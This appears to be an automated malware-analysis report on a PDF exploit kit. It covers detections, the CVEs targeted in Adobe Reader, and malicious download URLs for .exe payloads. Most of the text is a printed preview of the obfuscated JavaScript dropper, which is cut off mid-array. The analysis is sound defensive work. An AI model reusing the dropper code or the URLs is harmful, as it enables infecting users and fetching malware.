PDF malware analysis — malicious · aaf8bc5599ea3367

MALICIOUS

PDF

75.2 KB Created: 2009-11-29 19:42:40 Authoring application: PDF Library 7.7.1 (via PDF Library 9.5.5) First seen: 2012-07-12

MD5: 3f0c70454cdfa8be2e8ab10fac64c16e SHA-1: 7b4652274f16ddcec0b76f05eba3428b09275653 SHA-256: aaf8bc5599ea3367eb38c6e975f36a552d3f10a09a517cc0ede5e0692aad69e8

592 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link

This PDF file exploits multiple known vulnerabilities (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) in Adobe Reader via embedded JavaScript. The primary function of the embedded JavaScript is to download and execute a second-stage payload, as indicated by the ClamAV detection of 'Js.Exploit.Shellcode-18' on an extracted artifact. The PDF itself is detected as 'Pdf.Dropper.Agent-7291591-0'.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Dropper.Agent-7291591-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Dropper.Agent-7291591-0
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://gkiplamin.ru/gla/fjklvw2.exe Referenced by PDF JavaScript
- http://gkiplamin.ru/gla/click.php?r=Referenced by PDF JavaScript
- http://gkiplamin.ru/gla/cekopr2.exeReferenced by PDF JavaScript
- http://gkiplamin.ru/gla/fghn2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	37989 bytes
SHA-256: `6ea599c583d73afbabce1a0a4b52d7ffbcf9e6898947f765de8e391ec0540194`
Preview script First 1,000 lines of the extracted script var qrsv="qrsv";fksz=true;bfmou="bfmou";dgklwy=53946;hjkmnv='';fjmvwx=false;cemqu="";var jost=false,giqwxy='',clos=0,alprx=String,djnpr=alprx['fGrsosmGC6h6aGrGCKoGd6e3'.replace(/[3G6sK]/g,'')],cjqrsx=String,cefx=cjqrsx['eIvJaYlY'.replace(/[YtJI9]/g,'')],acdpuy="39",jnstwy="",emvxy=[64,67,60,159,168,167,150,173,156,168,161,89,153,162,171,152,156,173,91,178,148,171,166,169,95,89,159,158,161,98,174,70,61,66,60,176,155,162,159,158,83,97,172,154,165,172,163,103,159,158,161,160,167,161,83,99,83,107,83,117,83,165,152,167,92,180,64,67,60,66,60,178,148,171,166,169,83,100,112,89,172,154,165,172,163,116,64,67,60,66,176,70,61,66,60,178,148,171,166,169,83,118,83,178,148,171,166,169,97,172,168,155,166,173,165,162,161,160,91,105,95,89,159,158,161,104,101,98,110,70,61,66,60,171,152,173,168,171,161,89,172,154,165,172,163,116,64,67,60,182,64,67,64,67,60,159,168,167,150,173,156,168,161,89,168,173,156,165,146,169,165,162,161,173,153,97,92,180,64,67,60,66,169,154,165,89,163,154,172,165,162,154,151,89,112,89,168,167,152,172,150,154,163,158,91,91,88,174,120,123,120,114,88,174,99,105,99,106,88,174,104,111,99,105,88,174,116,106,105,109,88,174,99,105,102,105,88,174,99,105,99,105,88,174,103,105,107,123,88,174,107,123,99,124,88,174,100,124,106,105,88,174,107,123,116,125,88,174,99,113,103,105,88,174,118,108,104,126,88,174,107,123,104,110,88,174,107,123,120,124,88,174,99,113,103,110,88,174,102,108,104,107,88,174,118,106,119,107,88,174,99,108,118,107,88,174,100,105,102,107,88,174,107,105,103,105,88,174,99,105,102,113,88,174,121,110,106,110,88,174,118,107,107,123,88,174,104,125,104,122,88,174,99,109,118,107,88,174,104,110,99,105,88,174,120,124,107,123,88,174,104,106,104,106,88,174,104,111,104,108,88,174,105,105,104,112,88,174,104,125,107,123,88,174,102,108,99,113,88,174,107,123,118,105,88,174,99,124,106,110,88,174,121,126,107,123,88,174,106,111,99,108,88,174,107,123,102,124,88,174,106,113,103,126,88,174,118,127,99,108,88,174,104,106,107,123,88,174,104,107,100,124,88,174,104,106,107,123,88,174,104,107,101,109,88,174,106,106,107,123,88,174,103,126,100,109,88,174,106,110,107,114,88,174,107,123,121,124,88,174,101,105,106,106,88,174,121,112,99,108,88,174,103,122,108,114,88,174,103,107,116,125,88,174,102,123,105,105,88,174,121,124,104,110,88,174,99,109,106,110,88,174,118,105,102,108,88,174,102,112,120,123,88,174,121,127,102,108,88,174,103,110,99,108,88,174,108,112,99,124,88,174,118,127,107,123,88,174,106,110,116,126,88,174,101,123,121,125,88,174,103,127,121,114,88,174,120,113,104,106,88,174,121,127,108,109,88,174,121,127,121,127,88,174,118,108,102,123,88,174,106,109,105,106,88,174,120,123,99,107,88,174,107,123,119,114,88,174,99,124,103,110,88,174,104,126,108,107,88,174,121,107,99,108,88,174,120,105,119,106,88,174,118,111,99,108,88,174,118,114,102,108,88,174,117,112,99,127,88,174,104,127,99,113,88,174,120,106,118,106,88,174,99,108,99,107,88,174,99,108,118,122,88,174,107,123,118,127,88,174,99,108,99,106,88,174,107,114,118,107,88,174,121,113,103,110,88,174,107,123,105,106,88,174,121,113,103,110,88,174,104,126,104,127,88,174,118,114,104,123,88,174,104,110,118,108,88,174,120,124,107,123,88,174,120,113,104,106,88,174,121,127,103,114,88,174,121,127,121,127,88,174,105,113,104,105,88,174,105,105,120,113,88,174,99,109,117,127,88,174,105,124,120,113,88,174,121,127,121,127,88,174,102,108,121,127,88,174,104,107,119,107,88,174,121,127,104,107,88,174,99,113,106,110,88,174,119,105,121,127,88,174,103,110,107,114,88,174,107,123,121,124,88,174,121,124,103,110,88,174,118,108,118,114,88,174,107,123,104,110,88,174,107,108,120,124,88,174,99,124,120,124,88,174,103,110,107,125,88,174,104,105,121,109,88,174,103,110,118,111,88,174,106,110,121,109,88,174,103,110,118,111,88,174,106,107,121,110,88,174,103,110,118,111,88,174,105,124,121,111,88,174,103,110,118,111,88,174,105,125,121,112,88,174,103,110,118,111,88,174,105,127,121,113,88,174,103,110,118,111,88,174,105,126,121,114,88,174,103,110,118,111,88,174,101,126,121,122,88,174,103,110,118,111,88,174,105,109,121,123,88,174,103,110,118,111,88,174,105,124,121,124,88,174,103,110,118,111,88,174,105,124,121,125,88,174,103,110,118,111,88,174,99,105,121,126,88,174,116,105,120,113,88,174,121,127,121,127,88,174,104,105,121,127,88,174,104,125,105,113,88,174,100,106,107,122,88,174,120,113,100,111,88,174,121,127,100,110,88,174,121,127,121,127,88,174,118,109,107,108,88,174,107,110,99,124,88,174,106,109,118,105,88,174,105,122,100,110,88,174,105,122,99,105,88,174,121,127,99,105,88,174,99,124,106,110,88,174,106,110,121,127,88,174,105,122,99,113,88,174,121,127,99,105,88,174,107,110,119,105,88,174,106,110,118,105,88,174,103,105,99,108,88,174,118,108,118,114,88,174,118,105,102,108,88,174,118,108,118,114,88,174,102,108,104,112,88,174,107,123,118,105,88,174,101,109,103,124,88,174,107,123,99,124,88,174,101,109,106,124,88,174,121,124,99,113,88,174,116,122,121,108,88,174,118,108,104,127,88,174,103,124,107,123,88,174,99,109,101,109,88,174,102,114,107,105,88,174,107,123,99,105,88,174,106,109,118,106,88,174,103,105,99,111,88,174,102,113,107,105,88,174,106,110,99,105,88,174,101,123,121,122,88,174,118,108,118,106,88,174,107,123,104,110,88,174,107,108,120,124,88,174,105,109,120,124,88,174,107,125,104,108,88,174,121,105,103,110,88,174,102,108,104,112,88,174,104,105,119,123,88,174,103,110,118,111,88,174,105,123,121,105,88,174,103,110,118,111,88,174,105,110,121,106,88,174,103,110,118,111,88,174,106,107,121,107,88,174,103,110,118,111,88,174,105,126,121,108,88,174,103,110,118,111,88,174,105,110,121,109,88,174,103,110,118,111,88,174,105,124,121,110,88,174,103,110,118,111,88,174,102,108,121,111,88,174,103,110,118,111,88,174,102,107,121,112,88,174,103,110,118,111,88,174,101,126,121,113,88,174,103,110,118,111,88,174,105,109,121,114,88,174,103,110,118,111,88,174,105,124,121,122,88,174,103,110,118,111,88,174,105,124,121,123,88,174,104,125,107,113,88,174,120,113,121,124,88,174,121,127,99,123,88,174,121,127,121,127,88,174,105,113,104,105,88,174,103,108,105,113,88,174,107,126,121,114,88,174,107,105,120,113,88,174,121,127,121,126,88,174,107,123,121,127,88,174,107,125,121,113,88,174,108,124,103,110,88,174,103,109,105,122,88,174,120,113,104,105,88,174,121,127,106,126,88,174,121,127,121,127,88,174,103,110,107,125,88,174,105,122,120,105,88,174,104,105,100,105,88,174,106,108,120,113,88,174,121,127,121,127,88,174,107,108,121,127,88,174,100,124,118,109,88,174,103,110,107,125,88,174,104,105,120,105,88,174,103,110,107,125,88,174,104,105,108,124,88,174,104,108,104,108,88,174,104,108,104,108,88,174,104,108,104,108,88,174,106,110,121,127,88,174,118,112,99,113,88,174,108,124,103,110,88,174,99,105,103,109,88,174,99,105,99,105,88,174,121,127,104,108,88,174,104,127,119,112,88,174,117,111,99,127,88,174,104,123,118,105,88,174,118,108,118,114,88,174,107,123,104,110,88,174,104,106,120,124,88,174,104,108,104,106,88,174,104,112,104,111,88,174,103,107,105,122,88,174,106,107,120,113,88,174,99,105,99,105,88,174,107,123,99,105,88,174,102,108,119,113,88,174,107,110,121,111,88,174,104,114,119,123,88,174,103,110,118,112,88,174,105,106,121,113,88,174,105,110,101,126,88,174,118,112,106,113,88,174,121,124,103,110,88,174,99,105,105,110,88,174,99,105,99,105,88,174,104,111,106,126,88,174,103,110,107,125,88,174,104,105,121,113,88,174,120,113,104,111,88,174,99,105,104,106,88,174,99,105,99,105,88,174,104,105,104,114,88,174,117,106,120,113,88,174,121,127,121,126,88,174,107,110,121,127,88,174,104,114,118,105,88,174,106,109,104,114,88,174,107,125,102,114,88,174,99,106,103,111,88,174,120,113,104,105,88,174,99,105,102,123,88,174,99,105,99,105,88,174,121,113,107,123,88,174,103,110,107,125,88,174,104,105,121,113,88,174,101,106,120,113,88,174,121,127,121,127,88,174,107,110,121,127,88,174,104,114,118,105,88,174,106,109,104,114,88,174,104,112,99,124,88,174,99,106,120,113,88,174,121,127,121,127,88,174,104,114,121,127,88,174,103,109,118,111,88,174,121,127,102,113,88,174,104,105,106,108,88,174,103,110,107,125,88,174,121,126,121,113,88,174,104,113,99,105,88,174,103,110,107,125,88,174,104,105,121,113,88,174,120,113,104,112,88,174,121,126,106,109,88,174,121,127,121,127,88,174,104,114,104,114,88,174,103,111,103,111,88,174,121,108,102,123,88,174,116,122,106,124,88,174,104,126,104,127,88,174,118,114,104,123,88,174,104,110,118,108,88,174,120,124,107,123,88,174,104,108,104,106,88,174,105,105,105,111,88,174,102,107,117,106,88,174,99,105,120,113,88,174,99,105,99,105,88,174,104,113,99,105,88,174,99,113,102,113,88,174,99,108,106,109,88,174,120,123,103,105,88,174,103,105,121,114,88,174,104,125,107,123,88,174,107,105,99,113,88,174,103,107,121,123,88,174,99,113,106,110,88,174,119,123,102,108,88,174,100,113,107,122,88,174,118,108,107,123,88,174,100,112,120,123,88,174,100,113,102,113,88,174,100,106,106,111,88,174,102,108,103,105,88,174,107,109,118,114,88,174,106,109,119,123,88,174,103,105,99,124,88,174,99,113,102,113,88,174,121,123,106,110,88,174,121,126,103,105,88,174,120,123,118,123,88,174,102,108,121,107,88,174,107,114,118,105,88,174,121,124,103,110,88,174,103,110,107,123,88,174,104,123,121,124,88,174,118,108,118,114,88,174,99,107,102,107,88,174,106,109,105,113,88,174,106,105,106,109,88,174,101,127,102,122,88,174,105,112,101,127,88,174,105,114,105,123,88,174,105,124,106,105,88,174,105,125,105,106,88,174,105,126,105,114,88,174,106,107,101,126,88,174,101,127,106,110,88,174,105,124,105,112,88,174,101,127,105,106,88,174,105,122,105,111,88,174,105,124,105,123,88,174,106,112,106,111,88,174,101,126,102,107,88,174,106,113,105,110,88,174,99,105,105,110,88,174,106,109,105,113,88,174,106,105,106,109,88,174,101,127,102,122,88,174,105,112,101,127,88,174,105,114,105,123,88,174,105,124,106,105,88,174,105,125,105,106,88,174,105,126,105,114,88,174,106,107,101,126,88,174,101,127,106,110,88,174,105,124,105,112,88,174,101,127,105,106,88,174,105,124,105,108,88,174,105,108,105,114,88,174,101,126,105,123,88,174,105,113,106,105,88,174,102,127,106,105,88,174,102,125,106,107,88,174,99,105,99,105,85,98,110,70,61,66,60,175,148,171,83,167,162,169,83,118,83,174,161,158,166,156,148,169,152,97,85,94,168,105,116,105,116,94,168,105,116,105,116,94,168,105,116,105,116,94,168,105,116,105,116,91,92,70,61,66,60,175,148,171,83,161,152,154,163,155,159,168,150,164,83,118,83,167,162,169,83,100,83,169,148,178,159,168,148,157,110,70,61,66,60,175,148,171,83,155,156,160,149,165,162,156,158,89,112,89,168,167,152,172,150,154,163,158,91,91,88,174,99,122,99,122,88,174,99,122,99,122,85,98,110,70,61,66,60,175,148,171,83,161,152,154,151,158,165,172,156,179,152,89,112,89,101,105,110,70,61,66,60,175,148,171,83,172,163,171,148,178,83,118,83,161,152,154,151,158,165,172,156,179,152,89,94,89,155,158,148,169,149,165,162,156,158,103,159,158,161,160,167,161,110,70,61,66,60,176,155,162,159,158,83,97,149,162,154,155,159,168,150,164,97,165,152,167,154,173,155,89,111,89,166,169,165,154,172,98,174,70,61,66,60,66,149,162,154,155,159,168,150,164,83,100,112,89,149,162,154,155,159,168,150,164,110,70,61,66,60,182,64,67,60,66,169,154,165,89,153,162,159,165,149,165,162,156,158,89,112,89,149,162,154,155,159,168,150,164,97,172,168,155,166,173,165,162,161,160,91,105,95,89,166,169,165,154,172,98,110,70,61,66,60,175,148,171,83,155,159,168,150,164,83,118,83,155,156,160,149,165,162,156,158,103,166,174,149,172,167,171,156,167,154,97,99,101,83,155,156,160,149,165,162,156,158,103,159,158,161,160,167,161,96,172,163,171,148,178,92,116,64,67,60,66,170,161,156,165,152,89,91,155,159,168,150,164,97,165,152,167,154,173,155,100,166,169,165,154,172,89,111,89,99,177,103,105,99,105,99,98,174,70,61,66,60,66,149,165,162,156,158,89,112,89,149,165,162,156,158,89,94,89,149,165,162,156,158,89,94,89,153,162,159,165,149,165,162,156,158,116,64,67,60,66,176,70,61,66,60,175,148,171,83,166,152,166,146,154,165,171,148,178,83,118,83,167,152,176,83,122,165,171,148,178,91,98,110,70,61,66,60,159,162,171,83,97,169,154,165,89,156,89,112,89,99,116,83,162,83,117,83,106,103,105,99,116,83,162,94,100,92,180,64,67,60,66,60,166,152,166,146,154,165,171,148,178,142,162,144,89,112,89,149,165,162,156,158,89,94,89,155,158,148,169,149,165,162,156,158,116,64,67,60,66,176,70,61,66,60,175,148,171,83,167,168,166,83,118,83,106,101,114,108,114,108,114,108,114,108,114,108,114,108,114,108,114,108,114,108,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,113,107,116,64,67,60,66,168,173,156,165,97,169,165,162,161,173,153,97,85,94,103,110,99,105,99,159,85,101,83,167,168,166,92,116,64,67,60,182,64,67,64,67,60,159,168,167,150,173,156,168,161,89,150,168,159,165,148,155,146,158,160,154,156,165,91,98,174,70,61,66,60,175,148,171,83,172,155,158,159,165,150,168,151,158,83,118,83,174,161,158,166,156,148,169,152,97,85,94,168,126,117,126,108,94,168,105,99,105,100,94,168,110,105,105,99,94,168,122,100,111,103,94,168,105,99,108,99,94,168,105,99,105,99,94,168,109,99,113,117,94,168,113,117,105,118,94,168,106,118,112,99,94,168,113,117,122,119,94,168,105,107,109,99,94,168,124,102,110,120,94,168,113,117,110,104,94,168,113,117,126,118,94,168,105,107,109,104,94,168,108,102,110,101,94,168,124,100,125,101,94,168,105,102,124,101,94,168,106,99,108,101,94,168,113,99,109,99,94,168,105,99,108,107,94,168,127,104,112,104,94,168,124,101,113,117,94,168,110,119,110,116,94,168,105,103,124,101,94,168,110,104,105,99,94,168,126,118,113,117,94,168,110,100,110,100,94,168,110,105,110,102,94,168,111,99,110,106,94,168,110,119,113,117,94,168,108,102,105,107,94,168,113,117,124,99,94,168,105,118,112,104,94,168,127,120,113,117,94,168,112,105,105,102,94,168,113,117,108,118,94,168,112,107,109,120,94,168,124,121,105,102,94,168,110,100,113,117,94,168,110,101,106,118,94,168,110,100,113,117,94,168,110,101,107,103,94,168,112,100,113,117,94,168,109,120,106,103,94,168,112,104,113,108,94,168,113,117,127,118,94,168,107,99,112,100,94,168,127,106,105,102,94,168,109,116,114,108,94,168,109,101,122,119,94,168,108,117,111,99,94,168,127,118,110,104,94,168,105,103,112,104,94,168,124,99,108,102,94,168,108,106,126,117,94,168,127,121,108,102,94,168,109,104,105,102,94,168,114,106,105,118,94,168,124,121,113,117,94,168,112,104,122,120,94,168,107,117,127,119,94,168,109,121,127,108,94,168,126,107,110,100,94,168,127,121,114,103,94,168,127,121,127,121,94,168,124,102,108,117,94,168,112,103,111,100,94,168,126,117,105,101,94,168,113,117,125,108,94,168,105,118,109,104,94,168,110,120,114,101,94,168,127,101,105,102,94,168,126,99,125,100,94,168,124,105,105,102,94,168,124,108,108,102,94,168,123,106,105,121,94,168,110,121,105,107,94,168,126,100,124,100,94,168,105,102,105,101,94,168,105,102,124,116,94,168,113,117,124,121,94,168,105,102,105,100,94,168,113,108,124,101,94,168,127,107,109,104,94,168,113,117,111,100,94,168,127,107,109,104,94,168,110,120,110,121,94,168,124,108,110,117,94,168,110,104,124,102,94,168,126,118,113,117,94,168,126,107,110,100,94,168,127,121,109,108,94,168,127,121,127,121,94,168,111,107,110,99,94,168,111,99,126,107,94,168,105,103,123,121,94,168,111,118,126,107,94,168,127,121,127,121,94,168,108,102,127,121,94,168,110,101,125,101,94,168,127,121,110,101,94,168,105,107,112,104,94,168,125,99,127,121,94,168,109,104,113,108,94,168,113,117,127,118,94,168,127,118,109,104,94,168,124,102,124,108,94,168,113,117,110,104,94,168,113,102,126,118,94,168,105,118,126,118,94,168,109,104,113,119,94,168,110,99,127,103,94,168,109,104,124,105,94,168,112,104,127,103,94,168,109,104,124,105,94,168,112,101,127,104,94,168,109,104,124,105,94,168,111,118,127,105,94,168,109,104,124,105,94,168,111,119,127,106,94,168,109,104,124,105,94,168,111,121,127,107,94,168,109,104,124,105,94,168,111,120,127,108,94,168,109,104,124,105,94,168,107,120,127,116,94,168,109,104,124,105,94,168,111,103,127,117,94,168,109,104,124,105,94,168,111,118,127,118,94,168,109,104,124,105,94,168,111,118,127,119,94,168,109,104,124,105,94,168,105,99,127,120,94,168,122,99,126,107,94,168,127,121,127,121,94,168,110,99,127,121,94,168,110,119,111,107,94,168,106,100,113,116,94,168,126,107,106,105,94,168,127,121,106,104,94,168,127,121,127,121,94,168,124,103,113,102,94,168,113,104,105,118,94,168,112,103,124,99,94,168,111,116,106,104,94,168,111,116,105,99,94,168,127,121,105,99,94,168,105,118,112,104,94,168,112,104,127,121,94,168,111,116,105,107,94,168,127,121,105,99,94,168,113,104,125,99,94,168,112,104,124,99,94,168,109,99,105,102,94,168,124,102,124,108,94,168,124,99,108,102,94,168,124,102,124,108,94,168,108,102,110,106,94,168,113,117,124,99,94,168,107,103,109,118,94,168,113,117,105,118,94,168,107,103,112,118,94,168,127,118,105,107,94,168,122,116,127,102,94,168,124,102,110,121,94,168,109,118,113,117,94,168,105,103,107,103,94,168,108,108,113,99,94,168,113,117,105,99,94,168,112,103,124,100,94,168,109,99,105,105,94,168,108,107,113,99,94,168,112,104,105,99,94,168,107,117,127,116,94,168,124,102,124,100,94,168,113,117,110,104,94,168,113,102,126,118,94,168,111,103,126,118,94,168,113,119,110,102,94,168,127,99,109,104,94,168,108,102,110,106,94,168,110,99,125,117,94,168,109,104,124,105,94,168,111,117,127,99,94,168,109,104,124,105,94,168,111,104,127,100,94,168,109,104,124,105,94,168,112,101,127,101,94,168,109,104,124,105,94,168,111,120,127,102,94,168,109,104,124,105,94,168,111,104,127,103,94,168,109,104,124,105,94,168,111,118,127,104,94,168,109,104,124,105,94,168,108,102,127,105,94,168,109,104,124,105,94,168,108,101,127,106,94,168,109,104,124,105,94,168,107,120,127,107,94,168,109,104,124,105,94,168,111,103,127,108,94,168,109,104,124,105,94,168,111,118,127,116,94,168,109,104,124,105,94,168,111,118,127,117,94,168,110,119,113,107,94,168,126,107,127,118,94,168,127,121,105,117,94,168,127,121,127,121,94,168,111,107,110,99,94,168,109,102,111,107,94,168,113,120,127,108,94,168,113,99,126,107,94,168,127,121,127,120,94,168,113,117,127,121,94,168,113,119,127,107,94,168,114,118,109,104,94,168,109,103,111,116,94,168,126,107,110,99,94,168,127,121,112,120,94,168,127,121,127,121,94,168,109,104,113,119,94,168,111,116,126,99,94,168,110,99,106,99,94,168,112,102,126,107,94,168,127,121,127,121,94,168,113,102,127,121,94,168,106,118,124,103,94,168,109,104,113,119,94,168,110,99,126,99,94,168,109,104,113,119,94,168,110,99,114,118,94,168,110,102,110,102,94,168,110,102,110,102,94,168,110,102,110,102,94,168,112,104,127,121,94,168,124,106,105,107,94,168,114,118,109,104,94,168,105,99,109,103,94,168,105,99,105,99,94,168,127,121,110,102,94,168,110,121,125,106,94,168,123,105,105,121,94,168,110,117,124,99,94,168,124,102,124,108,94,168,113,117,110,104,94,168,110,100,126,118,94,168,110,102,110,100,94,168,110,106,110,105,94,168,109,101,111,116,94,168,112,101,126,107,94,168,105,99,105,99,94,168,113,117,105,99,94,168,108,102,125,107,94,168,113,104,127,105,94,168,110,108,125,117,94,168,109,104,124,106,94,168,111,100,127,107,94,168,111,104,107,120,94,168,124,106,112,107,94,168,127,118,109,104,94,168,105,99,111,104,94,168,105,99,105,99,94,168,110,105,112,120,94,168,109,104,113,119,94,168,110,99,127,107,94,168,126,107,110,105,94,168,105,99,110,100,94,168,105,99,105,99,94,168,110,99,110,108,94,168,123,100,126,107,94,168,127,121,127,120,94,168,113,104,127,121,94,168,110,108,124,99,94,168,112,103,110,108,94,168,113,119,108,108,94,168,105,100,109,105,94,168,126,107,110,99,94,168,105,99,108,117,94,168,105,99,105,99,94,168,127,107,113,117,94,168,109,104,113,119,94,168,110,99,127,107,94,168,107,100,126,107,94,168,127,121,127,121,94,168,113,104,127,121,94,168,110,108,124,99,94,168,112,103,110,108,94,168,110,106,105,118,94,168,105,100,126,107,94,168,127,121,127,121,94,168,110,108,127,121,94,168,109,103,124,105,94,168,127,121,108,107,94,168,110,99,112,102,94,168,109,104,113,119,94,168,127,120,127,107,94,168,110,107,105,99,94,168,109,104,113,119,94,168,110,99,127,107,94,168,126,107,110,106,94,168,127,120,112,103,94,168,127,121,127,121,94,168,110,108,110,108,94,168,109,105,109,105,94,168,127,102,108,117,94,168,122,116,112,118,94,168,110,120,110,121,94,168,124,108,110,117,94,168,110,104,124,102,94,168,126,118,113,117,94,168,110,102,110,100,94,168,111,99,111,105,94,168,108,101,123,100,94,168,105,99,126,107,94,168,105,99,105,99,94,168,110,107,105,99,94,168,105,107,108,107,94,168,105,102,112,103,94,168,126,117,109,99,94,168,109,99,127,108,94,168,110,119,113,117,94,168,113,99,105,107,94,168,109,101,127,117,94,168,105,107,112,104,94,168,125,117,108,102,94,168,106,107,113,116,94,168,124,102,113,117,94,168,106,106,126,117,94,168,106,107,108,107,94,168,106,100,112,105,94,168,108,102,109,99,94,168,113,103,124,108,94,168,112,103,125,117,94,168,109,99,105,118,94,168,105,107,108,107,94,168,127,117,112,104,94,168,127,120,109,99,94,168,126,117,124,117,94,168,108,102,127,101,94,168,113,108,124,99,94,168,127,118,109,104,94,168,109,104,113,117,94,168,110,117,127,118,94,168,124,102,124,108,94,168,105,101,108,101,94,168,112,103,111,107,94,168,112,99,112,103,94,168,107,121,108,116,94,168,111,106,107,121,94,168,111,108,111,117,94,168,111,118,112,99,94,168,111,119,111,100,94,168,111,120,111,108,94,168,112,101,107,120,94,168,107,121,112,104,94,168,111,118,111,106,94,168,107,121,111,100,94,168,111,104,111,102,94,168,111,121,111,117,94,168,112,101,112,99,94,168,107,120,108,101,94,168,112,107,111,104,94,168,105,99,111,104,94,168,112,103,111,107,94,168,112,99,112,103,94,168,107,121,108,116,94,168,111,106,107,121,94,168,111,108,111,117,94,168,111,118,112,99,94,168,111,119,111,100,94,168,111,120,111,108,94,168,112,101,107,120,94,168,107,121,112,104,94,168,111,118,111,106,94,168,107,121,111,100,94,168,111,118,111,102,94,168,111,102,111,108,94,168,107,120,111,117,94,168,111,107,112,99,94,168,108,121,112,99,94,168,108,119,112,101,94,168,105,99,105,99,91,92,116,64,67,60,66,169,154,165,89,160,158,160,152,148,171,165,154,172,89,112,89,161,158,170,89,116,171,165,154,172,97,92,116,64,67,60,66,169,154,165,89,150,156,83,118,83,105,171,105,150,105,150,105,150,105,150,116,64,67,60,66,169,154,165,89,148,157,151,171,83,118,83,105,171,109,99,105,99,105,99,116,64,67,60,66,169,154,165,89,166,156,146,165,152,167,83,118,83,172,155,158,159,165,150,168,151,158,97,165,152,167,154,173,155,89,93,89,101,116,64,67,60,66,169,154,165,89,159,158,161,89,112,89,148,157,151,171,83,102,83,97,166,156,146,165,152,167,94,105,171,108,107,98,110,70,61,66,60,175,148,171,83,178,148,171,166,169,83,118,83,174,161,158,166,156,148,169,152,97,85,94,168,114,99,114,99,94,168,114,99,114,99,91,92,116,64,67,60,66,172,154,165,172,163,89,112,89,153,162,171,152,156,173,91,178,148,171,166,169,95,89,159,158,161,98,110,70,61,66,60,175,148,171,83,156,162,174,161,173,101,89,112,89,91,156,150,89,96,89,99,177,103,105,99,105,99,105,92,104,148,157,151,171,110,70,61,66,60,159,162,171,83,97,169,154,165,89,150,168,168,167,167,89,112,89,99,116,83,156,162,174,161,173,83,117,83,156,162,